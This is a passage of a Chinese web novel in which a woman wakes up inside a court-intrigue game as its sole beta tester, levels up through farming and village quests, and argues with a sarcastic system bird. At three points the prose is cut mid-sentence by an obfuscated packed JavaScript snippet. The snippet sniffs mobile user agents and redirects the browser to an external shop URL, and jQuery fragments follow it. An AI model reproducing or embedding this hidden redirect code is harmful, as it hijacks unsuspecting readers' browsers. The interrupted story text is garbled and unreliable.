《君莫挽》 1. 第一回 滴!庶民卡! 祝涞走过一道中空的白色铁门框,架在上面的小喇叭发出愉快的声音——她可一点不愉快,甚至都没搞清楚发生了什么。 昨晚喝多了水,今天早上不到四点就有股尿意,祝涞一直忍到四点整才起来,迷迷糊糊去厕所的时候灯没开,一脚踩了空,醒来就到了这么个地方。 偌大的白色空间望不到边,只有一扇门和一个银灰色的中央操作台,显示屏在空中,上面密密麻麻蹦出一长串代码。 祝涞走过去看,系统的声音响起: 「检测到玩家001号登入,成功上线!」 001号?那是不是还有其他人? 它接着说: 「由于游戏注册玩家人数过少,已从通关玩家随机抽取一名作为幸运用户,抢先沉浸式体验游戏剧情!」 彼时祝涞还穿着睡衣,脸,手臂和衣服上有着未干的墨水,她想起前两天玩的那款冷门古代权谋端游,掀起眼皮打了个哈欠,不慌不忙道:“你们经过我同意了么?擅自把我拉进来是犯法的懂吗?” 系统早有防备似的: 「进入游戏前,Beta测试数据收集说明有详细信息,且玩家已主动勾选和单独同意,本次试运行正规合法,不存在涉黄涉暴…」 ……祝涞突然感觉自己被诈骗了。 不过当时好像是弹出个窗口来着,关于测试什么的,她急着开玩,就没注意。 重要提示!!! 操作台上闪着耀眼的红灯: 在参与【月揽星稀】沉浸式试运行项目之前,请您再仔细阅读并理解以下免责声明。一旦您选择参与,即视为您已完全理解、同意并接受本声明的全部内容及其后续更新。若您不同意本声明的任何内容,请立即停止参与并退出试运行。 系统一口气念完免责声明,生怕下一秒被祝涞给举报了。 没想到这破游戏还挺人性化,祝涞问系统:“进入后会有什么影响吗?” 系统: 「游戏一天相当于现实世界一秒,且玩家在游戏中受伤不会影响现实世界的身体。」 祝涞天生就是个爱玩的性子,此时也不管三七二十一,当即在显示屏上摁了同意。 红光变成了金色光,像是在庆祝有了第一位受害人。没一会儿,一道聚光灯从祝涞头顶上落下来,周遭的环境突然变暗。 系统的语调微微上扬: 「恭喜您成为全球唯一获得试运行资格玩家,现为您派发道具和奖品,稍后将送您到达指定区域。」 祝涞看见自己头顶上出现一个白色的倒三角形,左手边悬浮着蓝色小布包,她手刚触碰,包就自动打开,里面放着实物道具: “折扇” 属性:风 作用:速度加成50% 有效时长:24小时 “湖笔” 属性:木 作用:攻击力+1500 有效时长:12小时 “徽墨” 属性:水 作用:生命值+1200 有效时长:12小时 “宣纸” 属性:未知 作用:特殊功能 有效时长:5分钟 “端砚” 属性:金 作用:防御值+1500 有效时长:12小时 这几个道具她在游戏里见过,算是中高档品质了,至于“宣纸”,它的功能是随机的,就像盲盒,看运气。 祝涞往下翻,一个银白色的金属露了出来。 “揽星”:项链,纪念道具,独家专属,具有独一无二的价值 祝涞:…… 包自动收束后,脚下的地面开始逐渐缩小,门和操作台已经消失,所有的光汇聚成小小一片,又顷刻不见。 没有想象当中的天旋地转,祝涞一眨眼就到了系统说的指定地点——荒山野岭,小鸡啄米…… 系统: 「该道具仅为试运行阶段使用,玩家达到80级后方可正式进入游戏,并将不再出现新的虚拟道具,一切剧情发展由玩家个人推进,祝您游戏顺利!」 话音刚落,祝涞头上就多了个等级标识——Lv.1 她点了下倒三角形,各项数据实时显示出来: 【EXP(经验值):0/500】 【HP(生命值):1200/1200】 【SP(技能点):暂无】 500只是当前达标值,越往后越多,她那时花了半个多月升的满级,也就是80级,这还是在网络上的速度,实际操作要长得多。 一般来说,种田任务中,砍树钓鱼每次加10经验值,开垦荒田加30经验值,播种浇水一格加10经验值等等;经商任务中,买入物品消耗货币,卖出商品增加货币,经验值按价格高低计入。还有以物易物,主动推销等玩法,赚得越多,升级越快。 此外,也有很多其它职业任务可供选择。 达到20级后会安排进宫,以选择的身份进行游戏,一步步晋升。 祝涞是最早一批通关的,其他玩家的攻略出得很少,她后面看了一下,进宫大概有两种结局:丞相和皇后。 这两个方向截然不同,一个偏阳谋,一个偏阴谋,系统还给它们分别起了个响亮的名字——朝堂之巅和后宫之主。 她不擅长政治,阴谋算计倒是会一点,不过也许是运气好,后面这条路走得挺顺。 那部游戏还没二刷就被送进来了,这次她想挑战一下丞相这条线。 据说经商加的属性值对此很有帮助,祝涞打算先种田攒点货币和物品,之后拿去做经营。 * 大片的荒地和群山紧紧挨着,下面是斜坡僻壤的村庄,这村大约二三十户人家,白墙深瓦,鳞次栉比,远处是悠悠江水与层层麦浪。清晨,大街小巷传来叮叮当当的声音,有人挑着担子出门,有人准备出摊。 穷山恶水出刁民,她做任务时的确遇到了一个,不过被祝涞用武力压制住了。眼下她的技能点和货币都是零,要是碰到了,祝涞想着走为上策。 系统: 「现颁发指定任务,完成指定任务,有助于快速获得经验值和属性值。完成特殊任务,还有机会获得稀有道具!推荐玩家优先选择特殊任务哦!」 之前游戏的任务都是标在电脑界面旁边,在这里,却是由不知道从哪里发出的声音颁布的,祝涞挑了挑眉,又听见系统说: [普通任务:邻里相助] [任务背景:你刚到村中安家,热心的张伯看你没有生计,愿意借你一块荒地和工具,并教你如何耕种,收成第一季的粮食归你所有] 本来一眼扫过的背景,被系统不紧不慢地念了半分钟,祝涞顿时觉得这个系统有必要撤了,换成个点击即看的小道具,手机也行。 系统仍像没看见刀人的眼神似的,一字一句: [任务目标]: 1.领取工具:与张伯对话,领取【破旧的锄头】x1,【粟米种子】x10 2.开垦荒地:前往村东头的【自家荒地】,使用锄头进行开垦(0/3) 3.播种:在已开垦的土地上播种粟米种子(0/10) 4.初次浇水:使用【木桶】在村边小溪打水,并为田地浇水(0/1) [任务奖励]:【粟米】x15,【耙子】x1 +100农耕经验 +600等级 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854602|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经验 开启【日常耕种】功能,可在张伯处购买更多种子 祝涞走到家门口走,系统给她配的房子的屋檐下,那里吊着一个干稻草做的小鸟,此刻晃晃悠悠的,祝涞过去碰了碰,果不其然出现了任务界面。她把小鸟拿下来,放在随身带着的麻布包里。 这个死系统又浪费她时间。 她出发去张伯家。以前用鼠标在电脑上点一下,小人会自己过去,不同场景也可以自由切换,到了这,每一步都得踏踏实实走。 好在张伯家就在不远,祝涞记得方位,没几分钟走到了,还在那领到了锄头和不多不少正好10粒粟米种子。 她跟着张伯开垦完荒地后,把种子播下去,又提着桶去溪边打水。 祝涞远远望见几个女人在那洗衣服,她们穿着素色衣裤,腰间系一条短围裙,头发用布条扎起来,年纪大点的,还戴了头帕。 “汝家娃娃五岁啦,侬昨儿见着,长得真美,像汝。”巧儿用木棒一下下地捶打衣服,对着前面已经洗好衣服站起来的慧娘说。 “嘿,汝喜欢娃儿,赶早嫁了去吧,大山对汝有情有义,汝莫要辜负了一片好心。”慧娘语重心长地说。 巧儿的手停在空中,片刻后,衣服被敲打得一下重一下轻:“汝莫要胡说,大山对侬像亲妹妹,怎的会……”她突然不说了。 她们说话有很重的口音,当时没配音,祝涞在界面上看字幕还好一点,这样乍一听,只能听个大概,不过祝涞记得这里的剧情选项,也就无所谓了。 慧娘笑笑,没再说话,正巧看见来河边打水的祝涞,她刚要说话,系统不知道从哪滚了出来。 系统发布任务时,时间会暂停,只有祝涞是自由的,她这次没听系统叭啦,打开布包拿出了那只呆头呆脑的鸟。 [支线任务:连理枝] [任务背景:巧儿和大山是村里的织女和木匠,他们从小一起长大,大山在一次事故中救下了溺水的巧儿,两人以兄妹相称,但相互心悦] [任务目标:让两人说出心意,结为连理] [任务奖励]:【灵香珠】×1 巧儿好感度+150 大山好感度+150 慧娘好感度+100 祝涞看了眼魂都不在了的巧儿,又对系统说:“支线任务不强制要求吧?” 系统愣是等念完最后一句才说: [是的!001你记性真好!] 祝涞:…… 她距离上次玩通关也没几天好吗? 灵香珠的作用是与某人亲密度+520,满级是1000,加了一半多,如果前面的亲密值不算差的话,用了就能直接满级。 她当时是用在了某个好感度较低的嫔妃上面,后面对她的使诈针对少了一些,不过祝涞总觉得这个也没什么大用,而且也不加经验值。 慧娘拎着桶上前一步:“喏,汝莫不是个新来的?” 祝涞点头。 巧儿停了动作:“来此打水作甚?村西头那口井,离汝家更近呀?!” “啊…张伯借了块地给…我…额…侬,侬要去浇水。”祝涞结结巴巴地说。 “抓点紧!”慧娘指了下万里无云的天,“天儿愈发不好咯,真真教人心烦!” 巧儿帮祝涞装好了水,把桶递给她:“汝长得真水灵,十几啦?” 这句祝涞听懂了,她真实年龄跟剧情设置不一样,想了一下,还是说:“二十二。” 巧儿一惊:“汝竟跟侬一样大!”她说完又突然变了神色,慌慌张张转过身去。 祝涞想着你不是十八吗,怎么就一样大了,结果转头就看见了刚砍完树路过的大山。 这个大好时机,要不要撮合他俩呢…… 2. 第二回 祝涞把水放在一边,她在做一个很艰难的决定——走还是留。 选留,张伯会因为自己打水迟迟没来而有些不满,所有种子的价格提升10%。 张伯算是整个游戏的商店,能购买大部分基础商品,而且越到后面种子的需求量大,加起来会多给不少钱。 后面祝涞想起这事就觉得肉疼,好在当时能从别的地方刷点钱回血,现在行动不便,她大多只能依靠种地赚钱。 选走就是走主线,支线任务虽然不会作废,但难度会大幅上升。 祝涞随口骂了句国粹,也不知道是在骂谁。总之,她头也不回地去地里浇水了。 她在地里浇了几圈后: [农耕经验+100] [等级经验+600] …… [开启【日常耕种】功能] 头上的等级标识跟着“蹭”得一声变成“Lv.2”。 【EXP(经验值):100/500】 之后任务基本就是跟邻居对话,锄地,挖野菜什么的,熟悉一下人物关系和地理环境。 而且他们几乎不管祝涞的回复多么“牛头不对马嘴”,以及那蹩脚的口语,自顾自地走剧情了。 祝涞晃了老半天,等级才到6,还收获了一些零零碎碎的小玩意,是那些在游戏里放进背包就不会再看的东西。 现在,它们的身值起码涨了10倍——那是她辛辛苦苦搜寻到的。 * 夜幕已深,祝涞把鸟放在床头,任务栏上只显示支线还未完成,等级为10,其它跟种田相关的经验加了不少,其中体魄加的最多,有800。 她又拿了把椅子坐在外面,静静端详着这片天地——和游戏并无二异,只不过变得真实立体。 系统: 「10级已开启畜牧业,请准备好充足的资金,张伯处可以购买你所需要的家畜及饲料等。另,如果想要养宠物的话,等到20级就可以购买了!」 祝涞看着兜里的三瓜两枣,不满地问:“你能不能把完成任务得到货币的概率调高一点,你看看。”她刚想把兜给系统看,又不知道在哪边——也许无处不在。 她随便朝了个方向:“就这点钱,我能买什么?” 系统此刻若是有人形,那一定是摊开手: [没办法,这是概率问题,你怎么不说是你运气不好呢?] 祝涞咬牙切齿:“你丫还会抬杠了?!你是系统,在后面调一下不就行了,明明是你调的概率太低了!” 真不是她气急败坏,她忙活了一天,货币才个位数,之前在游戏里就这样,想要更多物资,就得老老实实充钱,为此她陆续给鸡贼的游戏充了不少,但掉率还是低。 现在能当面对峙了,祝涞想骂它个痛快:“就你这狗屁机制,逼氪玩家,伤天害理!” 系统跟她解释: [为了能让玩家有更好的体验,我们前期投入的成本很高的。」 接着,它又以一幅“咯咯咯,反正你打不着我”的幼稚鬼样说: [也没人按着你的手充钱呀!现在你想氪还氪不了呢!不服来战!] 系统“哼”的一声,把祝涞逗笑了。 她坐在椅子上抱着胳膊,顿时没了脾气,饶有兴致地问:“……你的程序员给你喂什么了?吃枪药了?” 系统: [这是机密,反正,概率这事我帮不了你。] 祝涞听出它的言外之意:“你知道哪条线掉得多吧?”祝涞怂恿它,“这是建议,不是么,你之前不也说过,推荐优先选择特殊任务吗?没事,说吧。” 系统沉默了一会,小声道: [回南村,春桃,月饼。] 祝涞装模作样:“行,我会考虑的,你先退下吧。” 系统:…… * 不管你睡不睡,天总是要暗的,不管你起不起,天总是要亮的——祝涞总结的废话,用来安慰自己。 九点过一刻,祝涞还躺在床上呼呼大睡,她不认床,且睡眠质量极好,八个大雷都轰不醒的那种。 死鸟六点就在旁边扑扇着翅膀发布任务,响了好一阵,零个人理它,还被祝涞不小心给了一巴掌,躺地上没动静了。 直到肚子开始咕咕叫,祝涞才迷迷糊糊爬起来,看着陌生的地方想了半晌,忽然反应过来她穿进了游戏里。 她刚下床,就踩到了一个凸起来的东西,祝涞低头看,那死鸟已经散得不成样子,像终于能完成毕生的使命,迫不及待嘎了。 祝涞把它扔一边,走去外面洗漱,默默吐槽:“质量这么差,还说投入高成本呢,呵,就会说空头大话。” 她还没走到门口,那儿就晃晃悠悠飞进来另一只死鸟——机械的,中间银白色身体圆不隆冬,称得两侧浅黄色的翅膀都变短了。 它稳住身体,冲祝涞眨了下眼:“还好我有备选方案。” 祝涞当即听出系统的声音,她把手放在鸟头上,呈握拳姿势:“那你有没有备备选方案啊?”她往下轻轻敲了一下,“嗯——?” 系统赶紧躲了一下:“哎——女侠且慢,”它往高处飞,“损坏系统道具是有惩罚的,我劝你不要乱来!念在你是初次且不是故意的份上,先不跟你计较了。” 祝涞淡淡地看了眼地上的“干稻草”,她歪了下脖子,发出一声清脆的“咯哒”声,笑着说:“不——服——来——战。” 机械鸟的羽毛轻轻颤了一下,它跟在祝涞后面出去,小心翼翼地发布任务: [普通任务1:寻找杏儿] [任务背景:杏儿是裁缝慧娘的女儿,她活泼开朗,很喜欢和其他小伙伴一起玩游戏。这天,他们玩了躲猫猫,所有人都被找到了,却唯独没见杏儿] [任务目标:找到失踪的杏儿,并带她回到慧娘家里] [任务奖励]:等级经验+1000 慧娘好感度+300 【白菜种子】×20 【过冬衣物】×1 【普通衣物】×1 开启【地图】功能,可查看多项任务地点 祝涞洗好脸,在虚拟显示屏上随意划拉两下,另外两个普通任务跟昨天张伯的差不多,纯体力活。 找杏儿这个任务就是一直找人问,前一个人说往西走了,后一个人又说往东走了,要弯弯绕绕好几次才找到。 途中经过一家会给一些奖励,大都是粮食饭之类的,在游戏中能+1~10生命值,也有几率得到武器和货币。 祝涞知道杏儿藏在哪,在这里也许能走捷径,她问系统:“我直接把她带回来算完成任务吗?” 系统:“原则上不行。” 祝涞:“那就是可以了。” 系统:“……” 不过她实在太饿,顺道去别人家蹭了几顿饭才把杏儿带去慧娘那。 “天!可算把侬娃儿找着咯,死丫头怎地躲那不出来!”慧娘抱着杏儿,虽是呵斥她,但语气却不怎么严厉。 杏儿一边哇哇大哭,一边还打嗝:“侬…额…侬认不…额…认不得路…额…了,呜呜呜……。” 躲猫猫跑那么远去,要不是那儿是个特殊位点,祝涞都差点迷路。 可她们都是NPC,也不存在认不认路来着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854603|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她看着杏儿痛苦的样子,就像一个真的找不到路的小孩。 祝涞突然想,如果她没有做这个任务,杏儿会不会一直困在那里,慧娘也一直找不到她…… 祝涞还没回过神,手上就被塞了一大叠衣物和一些种子。她道完谢往外走,东西太多拿不下,系统先帮她收好了。 “这个,”祝涞指了下头顶上的倒三角形和等级标识,“为什么没有我的昵称?” 系统跟在旁边,活像个扑棱蛾子:“因为还没做好。” 祝涞闻言停住,简直要被它的发言惊呆了:“没做好?什么意思?” 昵称不是最基本的东西吗? 系统:“就字面意思啊,因为我们还是试运行阶段,但名字很重要的,它不仅代表虚拟,也代表现实。” “有什么关系?”祝涞走到自家地里,把刚得到的白菜种子撒了下去。 系统:“你想想啊,你会用真实姓名去玩游戏吗?其他人当然有,只不过很少,对吧?” 祝涞手顿了片刻,她抬头看它:“你们该不会想要实名制吧?” “当然不是啦,”系统立马否认,“实名制谁还敢玩,我不是说,当前是试运行阶段吗,所以只有你一位玩家。” “到了后期正式运行,我们会聚集大量玩家一起上线,职位也各有不同,这时候大家用各自的昵称就不太好了。” “有什么不好的,不是很正常吗?” “因为会有冲突啊!玩家起名字都很随意的,像什么''性感母蟑螂''''我想改名字了''之类的还好,涉及''郎中''''马夫''这样的就会让人混淆。”系统停靠在一头的锄头上,又突然蹦起来,“有些人的任务是需要隐藏身份的。” “我们要做大做强嘛,这些之后也会解决的。现在就你一个玩家,没那么多讲究。” 祝涞过来拿桶:“那你们为什么不干脆先拿我做试验?而且这里就我一个玩家,用昵称还是什么都没关系吧?” 系统飞在她后面,一上一下的:“这个嘛,我也不知道。不过从你进来前一天,所有都已经定好了,不会再改了。” 祝涞也无所谓了,反正这里的人喊她无一例外都是“汝”。 她把两个任务一起做了之后升到了18级,期间冒出了三个新的普通任务,其中两个祝涞先没管,让系统带她去回南村。 [普通任务5:殷殷桃花开] [任务背景:春桃在回南村生活了十九年,从没去过其他村庄,听说山上的桃花又要开了,这次她想去前塘村旁边的山上看桃花,顺便去那里结识一些新朋友] [任务目标:带领春桃去前塘村旁的山上看桃花,并带她认识巧儿和大山] [任务奖励]:【不悔书】×1 【桃花酿】×3 春桃好感度+300 巧儿好感度-200 大山好感度+200 “巧儿好感度怎么是下降的?”祝涞说完,又立马抓住了系统的鸟嘴,“闭嘴,别念了。” 系统无奈,它只想做好本质工作,它有什么错! “哦,我想起来了,这个春桃是不是喜欢大山来着?巧儿是吃醋了!”祝涞当时是选了留,并成功帮两人牵了线,之后带着春桃去,虽然巧儿的好感度也是降,但由于之前升了一些,并没有什么影响。 眼下要是降的话,祝涞觉得自己要被巧儿扔白菜了。 大山是喜欢巧儿的,可这两次的选项会不会对此有所影响呢? 祝涞苦恼着,又立马想到一件事:“''不悔书''的功能,是不是能重新做一个任务节点的选择?!还不会收回道具?!” 3. 第三回 祝涞在系统一句“是的”的回应声中欢快地跑远了。 系统已经猜到她要干什么了,不过玩家虽说少,但至少也有几千人,它还是第一次看到有人刚拿到【不悔书】就要用掉的。 这个道具算稀有品质了,全关只有一个,其它任务也能爆出,但概率极低,属于氪金都氪不了的。 而且游戏里谁爱谁,大多数玩家也不太会在意,只想着赶紧进宫,开始权谋之路。 好一会,系统在听到祝涞说要用掉【不悔书】的时候还是没出息地张大了鸟嘴。 祝涞好笑地打了它一下,让它赶紧激活道具:“干嘛呢你,真成死鸟啦?” 系统提醒道:“你确定要用吗?一旦激活,就没法撤销了哦。” “磨磨唧唧的,我赶时间。”祝涞威胁它,“再不快点,我就让你备备选方案来见我。” 系统也不管她了,语气淡然:“好吧,你要去哪个任务节点。” 它甚至不是问句。 “连理枝,河边节点,”祝涞又补充道,“就是在河边跟巧儿说话的时候。” “好的,即将为您传送到[连理枝]任务,节点一,本次道具一经使用则失效,希望您在之后的任务中能慎重选择。”系统官方地说。 跟来到这里时差不多,祝涞一眨眼便看到了红着脸转身的巧儿,再一回头,看见了大山。 她之前做的那些的任务奖励不会收回,后续若再完成,也不会再给。所以当下她算是已经浇水完了,可以心安理得地留在这。 祝涞叫住同样害羞要走的大山:“欸——等一下。” 大山被祝涞一嗓子叫怔住了,他缓缓回头,往这边走过来时,眼睛还时不时瞥向祝涞身后。 大山:“咋的了?”他长得又高又壮,背篓被他卸下来,祝涞看见里的木条,目计起码有二三十斤重。 祝涞:“侬是刚搬来的,想添点家具,听说你是木匠,可否给侬做一些桌椅?” 当时的剧情好像是这么说的吧。 大山还在看后面,片刻后才点头:“行,俺家有做好的,汝来看有没有中意的。” 巧儿听这话往这边看了下,又把洗好的衣服塞进桶里,起身要走,祝涞把她叫过来:“巧儿!来!” 祝涞冲她招手。巧儿左看右看,愣是没过来,祝涞走过去拉她。 “侬干甚呀!”巧儿杵在那,想让祝涞别拉她,奈何她力气太大,巧儿一下就被拉到了大山面前。 巧儿往祝涞身后靠,没看大山,小声问她:“把侬叫来作甚?” 大山直勾勾地看了巧儿一会,又不好意思地撇开脸。 祝涞:“侬审美…咳咳…看东西的眼光不行,瞧着你这衣服好看,想必眼光不差,帮侬来挑一些可好?” 巧儿一副难为情的样子,没说好,也没说不好。 “那就这么说定了!”祝涞说,“明儿早上,不,下午,侬跟巧儿去你那买一些。” 大山笑了,带着一种老实人的憨厚感:“不用,侬刚搬来,就当俺送你的了。” 她当时刷任务和其它项目赚到了不少货币,没在意大山的话,眼下祝涞在心里默默盘算着:又省一笔。 春桃的任务做完后就升到了21级,货币加了185,祝涞到张伯那买了一头牛和几只鸡,鸡生蛋,蛋生鸡…… 她打算先从小生意做起,等发展壮大一些,有了“雄厚”的资产和人脉后再进宫,先不着急。 张伯那有卖好几种猫狗,祝涞当时觉得好玩就买下了一只不起眼的白色小土狗,还放在【灵宠】的单独界面养了好久。 小土狗和祝涞一见如故,很亲昵地蹭着祝涞,还激动地摇尾巴,祝涞二话不说把它也买下来了,跟当时一样的名字,叫它“二雪”。 二雪很乖巧,安静地躺在祝涞给它搭的稻草小窝上——上面有两个眼睛状的东西略显突兀。 一人一狗吃完饭就睡了,一鸟没吃饭也“睡”了,歇在一侧的晾衣杆上。 * 祝涞仍是睡到十点多才起来,二雪早就醒了,躺在床下,听到祝涞的动静后立马起身——之前已经起来了好几次,发现祝涞只是翻身以后,又失望地躺了回去。 祝涞趿着草鞋出去,系统这次没打扰她睡觉,一根毛没掉,它抖了抖身子,飞到祝涞旁边发布任务: [特殊任务:清明时节雨纷纷] [任务背景:杏花村的村民每到清明节就会变得情绪低落,扫完墓回来后,工作也会心不在焉,这天你问牧童酒家在何处,他摇指向前面的杏花村] [任务目标:讨到一碗好酒] [任务奖励]:随机珍贵品质道具x1 等级经验+3000 解锁:【成长】功能 在游戏里,经常剧情过得好好的,突然给你来个战斗关卡,而你不得不加快升级,不然就会“卡关”。 【成长】功能就是提供各项能力训练,包括但不限于武术,口才,舞蹈等,完成日常训练还能增加攻击力,提高生命值和学习技能点,算是特殊任务里面必做的一个。 这个任务就是在酒架上自己选酒喝,总共有数百坛,连续喝到五次酸酒就要重来,她当时愣是喝了几十次酸酒才误打误撞选到了好酒。 所以她也不记得那好酒在哪个地方了…… 祝涞可不想实打实喝那么多酸酒,她到杏花村的酒庄后,戳了下系统:“你知道好酒在哪么?” 系统公事公办:“不行,我不能透题的。” 祝涞也不为难它:“我记得还有另一种方法来着,在论坛上看到的,就是找一样东西给店小二,他就会自己拿出好酒来,是不是真的?” 系统:“是啊,而且这个方法加的经验还更多呢,好处多多哟!” “好处?”祝涞喝的酸酒,她哪知道有什么好处,“说来听听。” 系统用力地扇着短小的翅膀,语气很是快活:“就是加智力值,随机掉落道具呀货币啊什么的。” “货币?”祝涞之前问过它。 “嗯,货币,有几率的……”系统说完,忽然发现自己早已说漏了嘴,“呃…那个…这个…我什么都没说!” 祝涞见它蹲一旁角落反省去了,就没再问,只是这个“月饼”去哪里找? 张伯处是没有的,它也不是普通的道具,不能通过任务获得,那只能去街上买了。 祝涞打开地图,在闹市逛了大大小小几十个摊子,没看见有一个卖月饼的,倒是完成了几个小任务。 她随机在路上问了一个卖糕饼的老太太:“大娘,月饼哪儿买?” 那老太太看着面凶,其实也不算是个好人:“汝把这些糕饼都买咯,侬就告与汝。” 祝涞看着一车的糕饼,心想我也吃完不啊,而且也没有钱钱。 她刚要走,就听到前面有人在叹息:“唉,这上好的六角竹扇,为何就无人问津呢……今日若再卖不出去,老身与孙儿又要饿肚子了。” 祝涞走过去看,一地的竹扇整整齐齐排放着。她记得这里也是有个任务点来着,果不其然,没一会,摊位旁亮起了一个任务光点。 [特殊任务:蕺山墨韵] [任务背景:陈婆婆与孙儿阿仑相依为命,靠卖扇济生,她已经连续两天没卖出一把扇,也因此饿了两天] [任务选项1:慷慨解囊,-50货币] [任务选项2:置之不理,直接走人] [任务选项1奖励:获得少量“善行”声望,+300等级经验] [任务选项2奖励:无] 这就是一个普通任务,选项也很简单,有玩家为此还在论坛上提问,是不是文案组不小心写错了。 祝涞当时钱多多,50对她来说小意思,然而现在——她掂量了一下放钱的包,正想问系统可不可以只给20的时候,突然灵机一动,想到了王羲之题扇的故事。 祝涞现实中算个小有名气的书法家,从小跟着大书法家、画家爷爷祝冲长大,写得最多的就是王羲之的《兰亭集序》。 她记得后面的任务中,有出现陶渊明的诗,一些任务背景应该是参考了东晋到南北朝时期的。 “婆婆莫忧,取五把扇来,我为你题字。”祝涞想赌一把。 陈婆婆一脸担忧:“侬为何要信汝?” “信不信由你,我就是想试试。”祝涞拿起一把竹扇打开,还用手虚写了一下。 “汝这……是要在侬扇子上乱画?这岂不是更卖不出去了!”陈婆婆惊呼。 祝涞到隔壁摊位借了笔,一挥毫就题完了“清风徐来”四个行书大字,还落款了署名:“你只需说,此乃‘王右军’所题,每把扇子卖一百文。” 陈婆婆依然将信将疑:“王右军?一百文?这……这有人买吗?” 祝涞拍拍手走了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16854604|191630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——没真的走,她躲在不远处盯着这边。 陈婆婆按照吩咐叫卖,很快就有NPC围上来,“王右军真迹!”“快抢!”,扇子被一抢而空。 陈婆婆的表情从愁苦变为惊喜。 叮! 系统从后面冒了出来: 「完成【墨染竹扇】任务,奖励货币+200,书法声望+50,获得“乐善好施”称号,获得【题扇·真迹】(装饰性道具,可在家中使用)」 还真赌对了! 祝涞高兴地拿着刚获得的铜钱,问糕饼摊的老太太:“总共多少钱?” 老太太刚目睹了全程:“一百二十文,”她眼神飘忽,“汝送侬一把题字的扇,侬就不算你的钱。” 祝涞很痛快地把钱给她。 老太太:…… “可以告诉我月饼在哪了吗?”祝涞说。 “今儿刚走了,就在那条巷子里,马上中午咯,他一直只卖半天。”老太太指着前面狭窄的小道——一般人根本不会想进去,“他还做别的生意,见不了人的那种。” 祝涞从没去过那边,这下只能等明天再来了。 她推着一车的糕饼回去。 * 下午祝涞跟着巧儿到了大山家,他们两人聊得很欢,但这个站位……中间始终隔着祝涞。 …… 你俩不是以兄妹相称嘛?在这装样子给谁看? 不对不对,还是别兄妹了,得想个法子让他们表明心意。 三人各怀心事,桌椅还没挑到一把。 祝涞还在回忆契机是什么,旁边的巧儿发出了一声惨叫:“啊!” 大山连忙扶起坐在地上的巧儿,把她身上的灰拍下:“都多大了,怎地还被一块木头绊倒?” 巧儿羞红了脸,还是试图掩盖:“怪汝没放正!非侬也。” 那木头确实放得不容易让人注意,但大山看着也不像那样的人。 “嫩,俺这就把它扔了去。”大山说到做到,把木头拿去隔壁房间,扔进了灶台的火堆里。 祝涞:你俩还用着我吗……感觉被塞了一嘴狗粮,不过狗粮她不爱吃,还是给二雪吧。 话虽如此,她还是默默思考着到底怎么能让两人互表心意呢? 促进感情的方法莫过于请吃饭,一起出去玩,送礼物…… 欸?现代的情侣什么时候喜欢送对方礼物来着?七夕节?太明显了,纪念日?还没有,生日? 对,生日! 祝涞当机立断:“是不是快到你们生辰了?”她想起来了,就是礼物,而且他们生日在一前一后,就是那个时候说出心意的! 巧儿屁股还在隐隐作痛,她没怎么听到祝涞的话,倒是大山回了她:“汝问这个作甚?快了,五日后是巧儿生辰,后面一天是俺。” 祝涞悄咪咪打着算盘——先跟大山说巧儿想要木梳,再跟巧儿说大山缺个手帕,然后在巧儿生日的那天两头“骗”,说对方有事要相告,还务必带上礼物。 美滋滋算计完后,祝涞让巧儿选了两三把桌椅就回家了。 * 第二天一早,祝涞难得早起,一狗一鸟还没反应过来,她饭都吃好了,还让二雪不要跟过来,自己往闹市走。 陈婆婆见了祝涞,又想让她题几个字,祝涞笑着婉拒,刚要往巷口走,系统着急跟上来,一个急刹——没刹住,重重地砸在祝涞身上。 “死鸟你想干嘛?谋杀?”祝涞揉着撞到的肩膀,没好气道。 “抱歉抱歉,我不是故意的,是我刚刚接到个特别特殊的任务,”它又重新飞到祝涞面前,“你肯定想不到!” 祝涞不知道她鸟嘴里能吐出什么象牙,还是静静等着它后文。 系统: 「恭喜您触发隐藏任务!」 [隐藏任务:墨韵孝心] [任务背景:皇帝登基不久时,因刚刚经历丧父之痛,内心郁结,无人能解。先帝生前钟爱书法,皇帝一见书法,便睹物思人,潸然泪下] [触发条件:让某位亲王将一把题有王羲之字的扇子献给皇帝,宽慰圣心] [任务奖励]:【皇帝的召见】x1(两分钟后生效) 【玛瑙】x10 【玉石】x10 货币+20000 祝涞:“不是,我怎么提前见他了?!!!” 快告诉我我是在做梦。 4. 第四回 昝浮生,乃先皇二皇子,自幼聪慧过人,温文尔雅。 传闻晋安二十五年,炎夏之时,宫中有大蛇进出,宫女奴仆大惊失色,纷纷逃窜,昝浮生恰逢其地,见大蛇,面色不改,淡然自若,遂拔剑杀之,斩七寸,时年十六而已。 